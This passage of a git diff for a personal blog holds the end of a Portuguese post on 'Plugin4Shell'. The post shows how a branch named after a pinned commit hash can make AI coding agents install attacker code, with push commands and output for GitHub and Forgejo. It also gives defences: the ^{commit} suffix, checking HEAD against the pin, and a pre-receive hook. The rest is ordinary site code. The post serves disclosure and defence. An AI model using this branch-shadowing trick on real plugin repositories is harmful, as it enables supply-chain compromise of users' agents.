* [new branch] main -> main
|
|
||||||
branch 'main' set up to track 'origin/main'.
|
|
||||||
```
|
|
||||||
|
|
||||||
Agora, vamos ver o que acontece com a nossa branch batizada com o hash do commit:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
Como dá pra ver, o GitHub rejeita:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 5, done.
|
|
||||||
Counting objects: 100% (5/5), done.
|
|
||||||
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
remote: error: GH002: Sorry, branch or tag names consisting of 40 or 64 hex characters are not allowed.
|
|
||||||
remote: error: Invalid branch or tag name "290b9e171e7b6facfe1e244a22c7152b31b6c290"
|
|
||||||
To github.com:gabeefranco/demo-trick.git
|
|
||||||
! [remote rejected] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290 (pre-receive hook declined)
|
|
||||||
error: failed to push some refs to 'github.com:gabeefranco/demo-trick.git'
|
|
||||||
```
|
|
||||||
|
|
||||||
Isso é muito bom! Palmas pro GitHub e pra todo o slop da Microsoft. *Dessa vez* eles me surpreenderam!
|
|
||||||
|
|
||||||
### E as outras plataformas?
|
|
||||||
|
|
||||||
Nos marketplaces de plugins de IA, os repositórios git podem estar hospedados em qualquer plataforma, inclusive numa instância self-hosted do Forgejo, por exemplo. O [Forgejo](https://forgejo.org/) é um fork do [Gitea](https://about.gitea.com/), e permite hospedar nossos próprios projetos git no estilo do GitHub, só que 100% open-source. É um bom software open-source, e um dia ainda escrevo um post sobre ele. Minha versão do Forgejo é a `9.0.3+gitea-1.22.0`, como dá pra conferir com `curl -s https://git.gabeefran.co/api/v1/version`. Lembre que o comportamento que eu mostro aqui pode mudar numa versão futura.
|
|
||||||
|
|
||||||
Na minha própria instância, vamos testar a nomeação de branches. Depois de criar um repositório (dessa vez, vou deixar ele público), rodei:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git remote remove origin
|
|
||||||
git remote add origin git@git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
git push -u origin main
|
|
||||||
```
|
|
||||||
|
|
||||||
De novo, a `main` sobe normalmente:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 3, done.
|
|
||||||
Counting objects: 100% (3/3), done.
|
|
||||||
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
To git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
* [new branch] main -> main
|
|
||||||
branch 'main' set up to track 'origin/main'.
|
|
||||||
```
|
|
||||||
|
|
||||||
Mas a `main` é a que o marketplace verificou. Vamos testar nossa branch do mal:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
Infelizmente, o Forgejo **não implementa a mesma correção**:
|
|
||||||
|
|
||||||
```
|
|
||||||
Enumerating objects: 5, done.
|
|
||||||
Counting objects: 100% (5/5), done.
|
|
||||||
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
|
|
||||||
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
|
|
||||||
remote:
|
|
||||||
remote: Create a new pull request for '290b9e171e7b6facfe1e244a22c7152b31b6c290':
|
|
||||||
remote: https://git.gabeefran.co/gabeefranco/git-trick/compare/main...290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
remote:
|
|
||||||
To git.gabeefran.co:gabeefranco/git-trick.git
|
|
||||||
* [new branch] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
branch '290b9e171e7b6facfe1e244a22c7152b31b6c290' set up to track 'origin/290b9e171e7b6facfe1e244a22c7152b31b6c290'.
|
|
||||||
```
|
|
||||||
|
|
||||||
Vou deixar esse repositório público. Dá pra conferir [aqui](https://git.gabeefran.co/gabeefranco/git-trick). Só note que os hashes de commit lá são diferentes, porque eu tive que editar os deste post pra manter a consistência do texto.
|
|
||||||
|
|
||||||
## Como se defender
|
|
||||||
|
|
||||||
Antes de tudo: se você usa o Claude Code ou o Codex, atualize. Qualquer versão a partir do **Claude Code 2.1.179** e do **Codex 0.146.0** já tem a correção.
|
|
||||||
|
|
||||||
Mas e se você estiver escrevendo uma ferramenta que fixa commits do git, do mesmo jeito que os agentes fazem? Minha primeira ideia foi `git checkout --detach`, já que ele deveria tratar o argumento como um commit, e não como uma branch. Testei no mesmo repo de demonstração:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout --detach 290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
```
|
|
||||||
|
|
||||||
E o `plugin.py` continuou dizendo `you got HACKED`. Nem o `--detach` salva a gente aqui! O que funciona de verdade é adicionar `^{commit}` ao final do hash, o que força o git a resolvê-lo como um objeto commit:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
git checkout --detach "290b9e171e7b6facfe1e244a22c7152b31b6c290^{commit}"
|
|
||||||
```
|
|
||||||
|
|
||||||
Dessa vez, o `safe plugin` voltou. Mesmo assim, não confie cegamente na resolução. **Depois do checkout, sempre verifique se o `HEAD` é exatamente o hash fixado**, e aborte se não for:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
PIN=290b9e171e7b6facfe1e244a22c7152b31b6c290
|
|
||||||
[ "$(git rev-parse HEAD)" = "$PIN" ] || { echo "HEAD doesn't match the pin, aborting!"; exit 1; }
|
|
||||||
```
|
|
||||||
|
|
||||||
É uma linha de shell, e teria barrado esse ataque. Se os agentes fizessem isso, a branch do mal seria inútil.
|
|
||||||
|
|
||||||
E se você hospeda seus próprios projetos git, como eu, dá pra fazer o mesmo que o GitHub e rejeitar nomes de branch e de tag formados por 40 ou 64 caracteres hexadecimais com um hook de pre-receive. Não existe nenhum motivo legítimo pra uma branch parecer um hash de commit, de qualquer forma.
|
|
||||||
|
|
||||||
## Concluindo
|
|
||||||
|
|
||||||
O problema principal era que os agentes pediam ao git o commit fixado, mas nunca verificavam se o que recebiam de volta batia de fato com aquele hash. Fixar commits pelo SHA é a recomendação padrão contra ataques à cadeia de suprimentos. O Plugin4Shell mostra que **fixar um commit só adianta se você _resolver_ essa fixação do jeito certo**.
|
|
||||||
|
|
||||||
Estudando esse caso, aprendemos muito sobre ataques à cadeia de suprimentos, internals do git e a cibersegurança envolvida no cenário dos agentes de IA. Todo o crédito pra [Air Security](https://www.air.security/) por pesquisar esse tema e descobrir essa vulnerabilidade.
|
|
||||||
|
|
||||||
Me diverti muito escrevendo este post, espero que tenham gostado!
|
|
||||||
|
|
@ -1,33 +1,16 @@
|
||||||
---
|
---
|
||||||
import { existsSync } from 'node:fs';
|
|
||||||
import { Font } from 'astro:assets';
|
|
||||||
import '../styles/global.css';
|
import '../styles/global.css';
|
||||||
import Header from '../components/Header.astro';
|
import Header from '../components/Header.astro';
|
||||||
import Footer from '../components/Footer.astro';
|
import Footer from '../components/Footer.astro';
|
||||||
import { getLocalizedPath, type Lang } from '../lib/i18n';
|
import type { Lang } from '../lib/i18n';
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
title: string;
|
title: string;
|
||||||
description: string;
|
description: string;
|
||||||
lang: Lang;
|
lang: Lang;
|
||||||
/**
|
|
||||||
* Path under public/ for the OG image, e.g. /social-cards/en/hello-world.png.
|
|
||||||
* Cards are generated by scripts/generate-social-cards.ts; until one exists
|
|
||||||
* on disk we fall back to the logo.
|
|
||||||
*/
|
|
||||||
image?: string;
|
|
||||||
/** Keep the page out of search engines (used for draft posts). */
|
|
||||||
noindex?: boolean;
|
|
||||||
/**
|
|
||||||
* This page's path in each language, for pages whose path isn't the same
|
|
||||||
* across languages (the about page). Defaults to swapping the /<lang> prefix.
|
|
||||||
*/
|
|
||||||
alternates?: Partial<Record<Lang, string>>;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const { title, description, lang, noindex, alternates = {} } = Astro.props;
|
const { title, description, lang } = Astro.props;
|
||||||
const alternatePath = (target: Lang) => alternates[target] ?? getLocalizedPath(Astro.url.pathname, target);
|
|
||||||
const image = Astro.props.image && existsSync(`public${Astro.props.image}`) ? Astro.props.image : '/logo.png';
|
|
||||||
const canonicalURL = new URL(Astro.url.pathname, Astro.site);
|
const canonicalURL = new URL(Astro.url.pathname, Astro.site);
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
@ -40,42 +23,26 @@ const canonicalURL = new URL(Astro.url.pathname, Astro.site);
|
||||||
<link rel="alternate icon" href="/favicon.ico" />
|
<link rel="alternate icon" href="/favicon.ico" />
|
||||||
<link rel="apple-touch-icon" href="/apple-touch-icon.png" />
|
<link rel="apple-touch-icon" href="/apple-touch-icon.png" />
|
||||||
<link rel="canonical" href={canonicalURL} />
|
<link rel="canonical" href={canonicalURL} />
|
||||||
<link rel="alternate" hreflang="en" href={new URL(alternatePath('en'), Astro.site)} />
|
<link rel="alternate" hreflang="en" href={new URL(Astro.url.pathname.replace(/^\/pt/, '') || '/', Astro.site)} />
|
||||||
<link rel="alternate" hreflang="pt-BR" href={new URL(alternatePath('pt'), Astro.site)} />
|
<link rel="alternate" hreflang="pt-BR" href={new URL(`/pt${Astro.url.pathname.replace(/^\/pt/, '')}`, Astro.site)} />
|
||||||
<meta name="generator" content={Astro.generator} />
|
<meta name="generator" content={Astro.generator} />
|
||||||
<link rel="sitemap" href="/sitemap-index.xml" />
|
|
||||||
|
|
||||||
<title>{title}</title>
|
<title>{title}</title>
|
||||||
<meta name="description" content={description} />
|
<meta name="description" content={description} />
|
||||||
{noindex && <meta name="robots" content="noindex" />}
|
|
||||||
|
|
||||||
<meta property="og:type" content="website" />
|
<meta property="og:type" content="website" />
|
||||||
<meta property="og:site_name" content="Gabriel Franco's notes" />
|
|
||||||
<meta property="og:title" content={title} />
|
<meta property="og:title" content={title} />
|
||||||
<meta property="og:description" content={description} />
|
<meta property="og:description" content={description} />
|
||||||
<meta property="og:url" content={canonicalURL} />
|
<meta property="og:url" content={canonicalURL} />
|
||||||
<meta property="og:image" content={new URL(image, Astro.site)} />
|
<meta property="og:image" content={new URL('/logo.png', Astro.site)} />
|
||||||
{image.startsWith('/social-cards/') && (
|
|
||||||
<>
|
|
||||||
<meta property="og:image:width" content="1200" />
|
|
||||||
<meta property="og:image:height" content="630" />
|
|
||||||
</>
|
|
||||||
)}
|
|
||||||
<meta name="twitter:card" content="summary_large_image" />
|
<meta name="twitter:card" content="summary_large_image" />
|
||||||
<meta name="twitter:title" content={title} />
|
|
||||||
<meta name="twitter:description" content={description} />
|
|
||||||
<meta name="twitter:image" content={new URL(image, Astro.site)} />
|
|
||||||
|
|
||||||
<Font cssVariable="--font-iawriter" preload />
|
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||||
|
<link
|
||||||
<script
|
href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,400..700;1,400..700&family=JetBrains+Mono:wght@400;500;600&display=swap"
|
||||||
is:inline
|
rel="stylesheet"
|
||||||
defer
|
/>
|
||||||
src="https://stats.gabeefran.co/gabest.js"
|
|
||||||
data-website-id="d8448824-f620-48e0-98ab-c0ea596dc17d"
|
|
||||||
data-domains="gabeefran.co"
|
|
||||||
></script>
|
|
||||||
|
|
||||||
<script is:inline>
|
<script is:inline>
|
||||||
// Runs before paint to avoid a flash of the wrong theme.
|
// Runs before paint to avoid a flash of the wrong theme.
|
||||||
|
|
@ -88,7 +55,7 @@ const canonicalURL = new URL(Astro.url.pathname, Astro.site);
|
||||||
</script>
|
</script>
|
||||||
</head>
|
</head>
|
||||||
<body class="flex min-h-screen flex-col bg-bg font-sans text-text antialiased selection:bg-primary selection:text-white">
|
<body class="flex min-h-screen flex-col bg-bg font-sans text-text antialiased selection:bg-primary selection:text-white">
|
||||||
<Header lang={lang} langSwitchHref={alternates[lang === 'en' ? 'pt' : 'en']} />
|
<Header lang={lang} />
|
||||||
<main class="flex-1">
|
<main class="flex-1">
|
||||||
<slot />
|
<slot />
|
||||||
</main>
|
</main>
|
||||||
|
|
|
||||||
|
|
@ -15,8 +15,8 @@ const postsHref = getLocalizedPath('/posts', lang);
|
||||||
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
||||||
---
|
---
|
||||||
|
|
||||||
<article class="mx-10 my-10 font-prose">
|
<article class="mx-auto max-w-3xl px-4 py-12 sm:px-6">
|
||||||
<a href={postsHref} class="underline inline-flex items-center gap-1.5 text-sm font-medium text-text-muted hover:text-primary">
|
<a href={postsHref} class="inline-flex items-center gap-1.5 text-sm font-medium text-text-muted transition-colors hover:text-primary">
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="size-4">
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="size-4">
|
||||||
<path d="M15 18l-6-6 6-6"></path>
|
<path d="M15 18l-6-6 6-6"></path>
|
||||||
</svg>
|
</svg>
|
||||||
|
|
@ -35,14 +35,14 @@ const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
<h1 class="mt-3 text-3xl leading-11 font-bold tracking-tight text-text sm:text-4xl">{post.data.title}</h1>
|
<h1 class="mt-3 text-3xl font-bold tracking-tight text-text sm:text-4xl">{post.data.title}</h1>
|
||||||
<p class="mt-3 text-lg text-text-muted">{post.data.description}</p>
|
<p class="mt-3 text-lg text-text-muted">{post.data.description}</p>
|
||||||
{post.data.tags.length > 0 && (
|
{post.data.tags.length > 0 && (
|
||||||
<div class="mt-4 flex flex-wrap gap-2">
|
<div class="mt-4 flex flex-wrap gap-2">
|
||||||
{post.data.tags.map((tag) => (
|
{post.data.tags.map((tag) => (
|
||||||
<a
|
<a
|
||||||
href={tagsHref(tag)}
|
href={tagsHref(tag)}
|
||||||
class=" text-xs font-medium text-text-muted underline hover:text-accent"
|
class="rounded-full bg-surface-alt px-2.5 py-1 text-xs font-medium text-text-muted transition-colors hover:bg-accent/15 hover:text-accent"
|
||||||
>
|
>
|
||||||
#{tag}
|
#{tag}
|
||||||
</a>
|
</a>
|
||||||
|
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
import { getCollection, type CollectionEntry } from 'astro:content';
|
|
||||||
import type { Lang } from './i18n';
|
|
||||||
|
|
||||||
// The about page lives at src/content/about/<lang>.md; its URL segment comes
|
|
||||||
// from the `slug` frontmatter field, so each language can have its own
|
|
||||||
// (/en/about, /pt/sobre).
|
|
||||||
export type AboutPage = CollectionEntry<'about'>;
|
|
||||||
|
|
||||||
export async function getAboutPages(): Promise<AboutPage[]> {
|
|
||||||
return getCollection('about');
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function getAboutPage(lang: Lang): Promise<AboutPage> {
|
|
||||||
const page = (await getAboutPages()).find((entry) => entry.data.language === lang);
|
|
||||||
if (!page) throw new Error(`Missing src/content/about/${lang}.md`);
|
|
||||||
return page;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function aboutPathOf(page: AboutPage): string {
|
|
||||||
return `/${page.data.language}/${page.data.slug}`;
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function getAboutPath(lang: Lang): Promise<string> {
|
|
||||||
return aboutPathOf(await getAboutPage(lang));
|
|
||||||
}
|
|
||||||
|
|
@ -1,6 +1,3 @@
|
||||||
// Every localized string on the site lives here. Keep this file free of
|
|
||||||
// runtime imports: scripts/generate-social-cards.ts loads it directly with Node.
|
|
||||||
|
|
||||||
export const LANGS = ['en', 'pt'] as const;
|
export const LANGS = ['en', 'pt'] as const;
|
||||||
export type Lang = (typeof LANGS)[number];
|
export type Lang = (typeof LANGS)[number];
|
||||||
export const DEFAULT_LANG: Lang = 'en';
|
export const DEFAULT_LANG: Lang = 'en';
|
||||||
|
|
@ -19,20 +16,17 @@ export const ui = {
|
||||||
'nav.menu': 'Menu',
|
'nav.menu': 'Menu',
|
||||||
'lang.switch': 'Switch language',
|
'lang.switch': 'Switch language',
|
||||||
'theme.switch': 'Toggle color theme',
|
'theme.switch': 'Toggle color theme',
|
||||||
'hero.kicker': "Computer Science in Real Life",
|
'hero.kicker': "Gabriel Franco's notes",
|
||||||
'hero.title': 'Building things, and figuring out how they work.',
|
'hero.title': 'Building things, and figuring out how they work.',
|
||||||
'hero.subtitle':
|
'hero.subtitle':
|
||||||
"Notes on computer science, systems, and the open source projects that shaped how I think about software. I'm Gabriel Franco — welcome.",
|
"Notes on computer science, systems, and the open source projects that shaped how I think about software. I'm gabeefranco — welcome.",
|
||||||
'hero.cta.posts': 'Read the posts',
|
'hero.cta.posts': 'Read the posts',
|
||||||
'hero.cta.about': 'About me',
|
'hero.cta.about': 'About me',
|
||||||
'home.description':
|
|
||||||
'Notes on computer science, systems, and the open source projects that shaped how I think about software.',
|
|
||||||
'home.recent': 'Recent posts',
|
'home.recent': 'Recent posts',
|
||||||
'home.recent.subtitle': 'The latest things I’ve written down.',
|
'home.recent.subtitle': 'The latest things I’ve written down.',
|
||||||
'home.viewAll': 'View all posts',
|
'home.viewAll': 'View all posts',
|
||||||
'posts.title': 'All posts',
|
'posts.title': 'All posts',
|
||||||
'posts.subtitle': 'Everything I’ve written, oldest to newest below, newest on top.',
|
'posts.subtitle': 'Everything I’ve written, oldest to newest below, newest on top.',
|
||||||
'posts.description': 'Everything I’ve written about computer science, systems, and open source, newest first.',
|
|
||||||
'posts.empty': 'No posts yet. Check back soon.',
|
'posts.empty': 'No posts yet. Check back soon.',
|
||||||
'posts.filteredBy': 'Posts tagged',
|
'posts.filteredBy': 'Posts tagged',
|
||||||
'posts.clearFilter': 'Clear filter',
|
'posts.clearFilter': 'Clear filter',
|
||||||
|
|
@ -41,15 +35,10 @@ export const ui = {
|
||||||
'post.readingTime': 'min read',
|
'post.readingTime': 'min read',
|
||||||
'post.updated': 'Updated',
|
'post.updated': 'Updated',
|
||||||
'tag.label': 'Tag',
|
'tag.label': 'Tag',
|
||||||
'tag.description': 'Everything I’ve written tagged #{tag}.',
|
|
||||||
'about.title': 'About',
|
'about.title': 'About',
|
||||||
'about.description':
|
|
||||||
'Gabriel Franco: computer science student at PUCRS, interested in how software actually works and in the history of open source.',
|
|
||||||
'footer.tagline': 'Written by hand in Porto Alegre.',
|
'footer.tagline': 'Written by hand in Porto Alegre.',
|
||||||
'footer.rights': 'All rights reserved.',
|
'footer.rights': 'All rights reserved.',
|
||||||
'footer.source': 'Source',
|
'footer.source': 'Source',
|
||||||
'feed.title': 'gabeefran.co',
|
|
||||||
'feed.description': "Gabriel Franco's notes about computer science and other topics",
|
|
||||||
'404.title': 'Page not found',
|
'404.title': 'Page not found',
|
||||||
'404.body': 'There’s nothing here. Let’s get you back home.',
|
'404.body': 'There’s nothing here. Let’s get you back home.',
|
||||||
'404.cta': 'Back to home',
|
'404.cta': 'Back to home',
|
||||||
|
|
@ -62,21 +51,17 @@ export const ui = {
|
||||||
'nav.menu': 'Menu',
|
'nav.menu': 'Menu',
|
||||||
'lang.switch': 'Mudar idioma',
|
'lang.switch': 'Mudar idioma',
|
||||||
'theme.switch': 'Alternar tema',
|
'theme.switch': 'Alternar tema',
|
||||||
'hero.kicker': 'Ciência da Computação na Vida Real',
|
'hero.kicker': 'Anotações do Gabriel Franco',
|
||||||
'hero.title': 'Construindo coisas e entendendo como elas funcionam.',
|
'hero.title': 'Construindo coisas e entendendo como elas funcionam.',
|
||||||
'hero.subtitle':
|
'hero.subtitle':
|
||||||
'Notas sobre ciência da computação, sistemas e os projetos open source que moldaram a forma como penso sobre software. Eu sou o Gabriel Franco — seja bem-vindo.',
|
'Notas sobre ciência da computação, sistemas e os projetos open source que moldaram a forma como penso sobre software. Eu sou o gabeefranco — seja bem-vindo.',
|
||||||
'hero.cta.posts': 'Ler os posts',
|
'hero.cta.posts': 'Ler os posts',
|
||||||
'hero.cta.about': 'Sobre mim',
|
'hero.cta.about': 'Sobre mim',
|
||||||
'home.description':
|
|
||||||
'Notas sobre ciência da computação, sistemas e os projetos open source que moldaram a forma como penso sobre software.',
|
|
||||||
'home.recent': 'Posts recentes',
|
'home.recent': 'Posts recentes',
|
||||||
'home.recent.subtitle': 'As últimas coisas que escrevi.',
|
'home.recent.subtitle': 'As últimas coisas que escrevi.',
|
||||||
'home.viewAll': 'Ver todos os posts',
|
'home.viewAll': 'Ver todos os posts',
|
||||||
'posts.title': 'Todos os posts',
|
'posts.title': 'Todos os posts',
|
||||||
'posts.subtitle': 'Tudo que já escrevi, do mais recente para o mais antigo.',
|
'posts.subtitle': 'Tudo que já escrevi, do mais recente para o mais antigo.',
|
||||||
'posts.description':
|
|
||||||
'Tudo que já escrevi sobre ciência da computação, sistemas e open source, do mais recente ao mais antigo.',
|
|
||||||
'posts.empty': 'Ainda não há posts. Volte em breve.',
|
'posts.empty': 'Ainda não há posts. Volte em breve.',
|
||||||
'posts.filteredBy': 'Posts com a tag',
|
'posts.filteredBy': 'Posts com a tag',
|
||||||
'posts.clearFilter': 'Limpar filtro',
|
'posts.clearFilter': 'Limpar filtro',
|
||||||
|
|
@ -85,15 +70,10 @@ export const ui = {
|
||||||
'post.readingTime': 'min de leitura',
|
'post.readingTime': 'min de leitura',
|
||||||
'post.updated': 'Atualizado em',
|
'post.updated': 'Atualizado em',
|
||||||
'tag.label': 'Tag',
|
'tag.label': 'Tag',
|
||||||
'tag.description': 'Tudo que já escrevi com a tag #{tag}.',
|
|
||||||
'about.title': 'Sobre',
|
'about.title': 'Sobre',
|
||||||
'about.description':
|
|
||||||
'Gabriel Franco: estudante de ciência da computação na PUCRS, interessado em como o software realmente funciona e na história do open source.',
|
|
||||||
'footer.tagline': 'Escrito à mão em Porto Alegre.',
|
'footer.tagline': 'Escrito à mão em Porto Alegre.',
|
||||||
'footer.rights': 'Todos os direitos reservados.',
|
'footer.rights': 'Todos os direitos reservados.',
|
||||||
'footer.source': 'Código-fonte',
|
'footer.source': 'Código-fonte',
|
||||||
'feed.title': 'gabeefran.co',
|
|
||||||
'feed.description': 'Anotações do Gabriel Franco sobre ciência da computação e outros assuntos',
|
|
||||||
'404.title': 'Página não encontrada',
|
'404.title': 'Página não encontrada',
|
||||||
'404.body': 'Não há nada aqui. Vamos te levar de volta para o início.',
|
'404.body': 'Não há nada aqui. Vamos te levar de volta para o início.',
|
||||||
'404.cta': 'Voltar para o início',
|
'404.cta': 'Voltar para o início',
|
||||||
|
|
@ -102,51 +82,30 @@ export const ui = {
|
||||||
|
|
||||||
export type UiKey = keyof (typeof ui)['en'];
|
export type UiKey = keyof (typeof ui)['en'];
|
||||||
|
|
||||||
export function isLang(value: string | undefined): value is Lang {
|
export function getLangFromUrl(url: URL): Lang {
|
||||||
return LANGS.some((lang) => lang === value);
|
const [, first] = url.pathname.split('/');
|
||||||
|
return first === 'pt' ? 'pt' : DEFAULT_LANG;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** getStaticPaths() result for pages that only vary by language. */
|
|
||||||
export function langPaths() {
|
|
||||||
return LANGS.map((lang) => ({ params: { lang } }));
|
|
||||||
}
|
|
||||||
|
|
||||||
/** `{name}` placeholders in a string are replaced with `vars[name]`. */
|
|
||||||
export function useTranslations(lang: Lang) {
|
export function useTranslations(lang: Lang) {
|
||||||
return function t(key: UiKey, vars: Record<string, string> = {}): string {
|
return function t(key: UiKey): string {
|
||||||
const template: string = ui[lang][key] ?? ui[DEFAULT_LANG][key];
|
return ui[lang][key] ?? ui[DEFAULT_LANG][key];
|
||||||
return template.replace(/\{(\w+)\}/g, (placeholder, name: string) => vars[name] ?? placeholder);
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Pages with their own title/description (tag pages use tagPageMeta). */
|
/** Prefix-strip the given pathname down to its language-agnostic form. */
|
||||||
export type PageKey = 'home' | 'posts' | 'about' | '404';
|
export function stripLangPrefix(pathname: string): string {
|
||||||
|
return pathname.replace(/^\/pt(?=\/|$)/, '') || '/';
|
||||||
export interface PageMeta {
|
|
||||||
title: string;
|
|
||||||
description: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const PAGE_META_KEYS: Record<PageKey, { title: UiKey; description: UiKey }> = {
|
|
||||||
home: { title: 'hero.title', description: 'home.description' },
|
|
||||||
posts: { title: 'posts.title', description: 'posts.description' },
|
|
||||||
about: { title: 'about.title', description: 'about.description' },
|
|
||||||
'404': { title: '404.title', description: '404.body' },
|
|
||||||
};
|
|
||||||
|
|
||||||
export function pageMeta(lang: Lang, page: PageKey): PageMeta {
|
|
||||||
const t = useTranslations(lang);
|
|
||||||
const keys = PAGE_META_KEYS[page];
|
|
||||||
return { title: t(keys.title), description: t(keys.description) };
|
|
||||||
}
|
|
||||||
|
|
||||||
export function tagPageMeta(lang: Lang, tag: string): PageMeta {
|
|
||||||
return { title: `#${tag}`, description: useTranslations(lang)('tag.description', { tag }) };
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Given any pathname, build the equivalent path in the target language. */
|
/** Given any pathname, build the equivalent path in the target language. */
|
||||||
export function getLocalizedPath(pathname: string, lang: Lang): string {
|
export function getLocalizedPath(pathname: string, lang: Lang): string {
|
||||||
const [, first] = pathname.split('/');
|
const stripped = stripLangPrefix(pathname);
|
||||||
const stripped = (isLang(first) ? pathname.slice(first.length + 1) : pathname) || '/';
|
if (lang === DEFAULT_LANG) return stripped;
|
||||||
return stripped === '/' ? `/${lang}` : `/${lang}${stripped}`;
|
return stripped === '/' ? '/pt' : `/pt${stripped}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function localizeHref(path: string, lang: Lang): string {
|
||||||
|
if (lang === DEFAULT_LANG) return path;
|
||||||
|
return path === '/' ? '/pt' : `/pt${path}`;
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -9,16 +9,12 @@ export function langOf(entry: PostEntry): Lang {
|
||||||
}
|
}
|
||||||
|
|
||||||
export function slugOf(entry: PostEntry): string {
|
export function slugOf(entry: PostEntry): string {
|
||||||
return entry.id.replace('pt-', '').replace('en-', '');
|
return entry.id.split('/').slice(1).join('/');
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
export async function getPostsByLang(lang: Lang): Promise<PostEntry[]> {
|
||||||
* Drafts are left out by default so they never show up in lists, tags or the
|
|
||||||
* feed. Pass `includeDrafts` to still build their pages (reachable by URL only).
|
|
||||||
*/
|
|
||||||
export async function getPostsByLang(lang: Lang, { includeDrafts = false } = {}): Promise<PostEntry[]> {
|
|
||||||
const posts = await getCollection('posts', ({ id, data }) => {
|
const posts = await getCollection('posts', ({ id, data }) => {
|
||||||
return id.startsWith(`${lang}-`) && (includeDrafts || !data.draft);
|
return id.startsWith(`${lang}/`) && !data.draft;
|
||||||
});
|
});
|
||||||
return posts.sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf());
|
return posts.sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf());
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,16 +0,0 @@
|
||||||
// Where generated OG cards live, relative to public/. Shared by the pages and
|
|
||||||
// by scripts/generate-social-cards.ts (so keep this file free of runtime
|
|
||||||
// imports: the script loads it directly with Node).
|
|
||||||
import type { Lang, PageKey } from './i18n';
|
|
||||||
|
|
||||||
export function postCardPath(lang: Lang, slug: string): string {
|
|
||||||
return `/social-cards/${lang}/${slug}.png`;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function pageCardPath(lang: Lang, page: PageKey): string {
|
|
||||||
return `/social-cards/${lang}/pages/${page}.png`;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function tagCardPath(lang: Lang, tag: string): string {
|
|
||||||
return `/social-cards/${lang}/tags/${tag}.png`;
|
|
||||||
}
|
|
||||||
|
|
@ -1,30 +1,24 @@
|
||||||
---
|
---
|
||||||
import BaseLayout from '../layouts/BaseLayout.astro';
|
import BaseLayout from '../layouts/BaseLayout.astro';
|
||||||
import { getLocalizedPath, LANGS, pageMeta, ui } from '../lib/i18n';
|
import { getLocalizedPath, ui, type Lang } from '../lib/i18n';
|
||||||
import { pageCardPath } from '../lib/social-cards';
|
|
||||||
|
|
||||||
// This file is prerendered once as a static /404.html and served by the host
|
// This file is prerendered once as a static /404.html and served by the host
|
||||||
// for any unmatched path, so we can't know at build time whether the visitor
|
// for any unmatched path, so we can't know at build time whether the visitor
|
||||||
// was under /pt/*. Render both languages and pick one at runtime with a tiny
|
// was under /pt/*. Render both languages and pick one at runtime with a tiny
|
||||||
// inline script based on the actual requested path.
|
// inline script based on the actual requested path.
|
||||||
const page = pageMeta('en', '404');
|
const langs: Lang[] = ['en', 'pt'];
|
||||||
---
|
---
|
||||||
|
|
||||||
<BaseLayout
|
<BaseLayout title={`${ui.en['404.title']} — gabeefranco`} description={ui.en['404.body']} lang="en">
|
||||||
title={`${page.title} — ${ui.en['site.name']}`}
|
<section class="mx-auto flex max-w-3xl flex-col items-start px-4 py-24 sm:px-6">
|
||||||
description={page.description}
|
|
||||||
lang="en"
|
|
||||||
